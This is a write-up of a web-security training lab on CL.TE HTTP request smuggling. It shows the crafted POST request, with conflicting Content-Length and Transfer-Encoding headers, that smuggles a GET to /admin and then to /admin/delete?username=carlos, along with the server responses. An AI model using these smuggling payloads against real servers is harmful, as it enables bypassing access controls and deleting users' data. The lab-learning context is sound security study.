

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at `/admin`, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user `carlos`.

The HTTP smuggling brief doesn't make it clear so I went with the solution template.

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
```

```
0
```

```
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
```

```
x=
```

Request

	Pretty	Raw	Hex	Hackvortor
1	POST	/home	HTTP/1.1	\r \n
2	Host:	0a70007404e39725c0658f4000be00e8.web-security-academy.net	\r \n	
3	Content-Type:	application/x-www-form-urlencoded	\r \n	
4	Content-Length:	116	\r \n	
5	Transfer-Encoding:	chunked	\r \n	
6		\r \n		
7	0	\r \n		
8		\r \n		
9	GET	/admin	HTTP/1.1	\r \n
10	Host:	localhost	\r \n	
11	Content-Type:	application/x-www-form-urlencoded	\r \n	
12	Content-Length:	10	\r \n	
13		\r \n		
14	x=			

Using this template gives out a nice 200 response on the admin panel

Response	
Pretty	Raw
1	HTTP/1.1 200 OK
2	Content-Type: text/html; charset=utf-8
3	Cache-Control: no-cache
4	Set-Cookie: session=bD7GrBLHcc1ScdSbfy
5	Connection: close
6	Content-Length: 3399
7	
8	<!DOCTYPE html>

Just need to review the response for the path to delete carlos

```

    </span>
    <a href="/admin/delete?username=carlos">
      Delete
    </a>
  </div>

```

And to add it to the smuggled request to complete the lab

Request	
Pretty	Raw
1	POST /home HTTP/1.1
2	Host: 0a70007404e39725c0658f4000be00e8.web-security-academy
3	Content-Type: application/x-www-form-urlencoded
4	Content-Length: 139
5	Transfer-Encoding: chunked
6	
7	0
8	
9	GET /admin/delete?username=carlos HTTP/1.1
10	Host: localhost
11	Content-Type: application/x-www-form-urlencoded
12	Content-Length: 10
13	
14	x=

Running the previous request shows carlos has dissapeared from the admin panel

```

<section>
  <h1>
    Users
  </h1>
  <div>
    <span>
      wiener -
    </span>
    <a href="/admin/delete?username=wiener">
      Delete
    </a>
  </div>
</section>
<br>

```

Congratulations, you solved the lab!

Users

wiener - [Delete](#)

The congratulations bar should be visible by now

Congratulations, you solved the lab!

Side Note You can see follow up responses getting stuck in the buffer if you refresh the website through your web browser

You will see this same messag in burp as well.

